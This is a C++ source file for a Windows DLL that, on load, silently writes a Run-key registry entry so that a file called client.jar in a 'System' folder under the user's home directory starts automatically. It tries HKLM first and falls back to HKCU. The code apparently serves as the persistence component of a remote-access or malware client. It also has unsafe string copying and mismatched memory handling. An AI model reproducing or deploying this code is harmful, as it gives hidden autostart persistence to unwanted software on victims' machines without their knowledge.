#include <iostream>
#include "main.h"
using namespace std;

bool saveToLocalMachine( const char * val)
{
	HKEY hKey;				// Declare a key to store the result
	DWORD buffersize = 1024;	// Declare the size of the data buffer
	char* lpData = new char[buffersize];// Declare the buffer
	if (RegOpenKeyEx (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\currentversion\\run",NULL,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
		cout<<"Registry opened"<<endl;
	else
	{
		cout<<"Failed to open registry"<<endl;
		RegCloseKey (hKey);
		return false;
	}
	if (RegSetValueEx(hKey,"client",NULL,REG_SZ,(unsigned char*)val,strlen(val)) == ERROR_SUCCESS)
		cout<<"Value saved"<<endl;
	else
	{
		cout<<"Failed to save value"<<endl;
		RegCloseKey (hKey);
		return false;
	}
	delete lpData;
	return true;
}

bool saveToCurrentUser(const char * val)
{
	HKEY hKey;				// Declare a key to store the result
		DWORD buffersize = 1024;	// Declare the size of the data buffer
		char* lpData = new char[buffersize];// Declare the buffer
		if (RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\currentversion\\run",NULL,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
			cout<<"Registry opened"<<endl;
		else
		{
			cout<<"Failed to open registry"<<endl;
			RegCloseKey (hKey);
			return false;
		}
		if (RegSetValueEx(hKey,"client",NULL,REG_SZ,(unsigned char*)val,strlen(val)) == ERROR_SUCCESS)
			cout<<"Value saved to current user"<<endl;
		else
		{
			cout<<"Failed to save value to current user"<<endl;
			RegCloseKey (hKey);
			return false;
		}
		delete lpData;
		return true;
}

BOOL APIENTRY DllMain( HINSTANCE hInstance, DWORD reason_for_call, LPVOID lpReserved )
{
	char jarpath[300];
	char *homepath = getenv("HOMEPATH");
	char *homedrive = getenv("HOMEDRIVE");
	strcpy(jarpath, "\"");
	if (homepath[1] != ':')
	{
		strcpy(jarpath+1, homedrive);
		strcpy(jarpath+1+strlen(homedrive), homepath);
		strcpy(jarpath + 1+strlen(homepath)+strlen(homedrive), "\\System\\client.jar\"");
	}
	else
	{
		strcpy(jarpath+1, homepath);
		strcpy(jarpath +1+ strlen(homepath), "\\System\\client.jar\"");
	}
	if (reason_for_call == DLL_PROCESS_ATTACH)
	{
		if (!saveToLocalMachine(jarpath))
			saveToCurrentUser(jarpath);
	}
	return true;
}



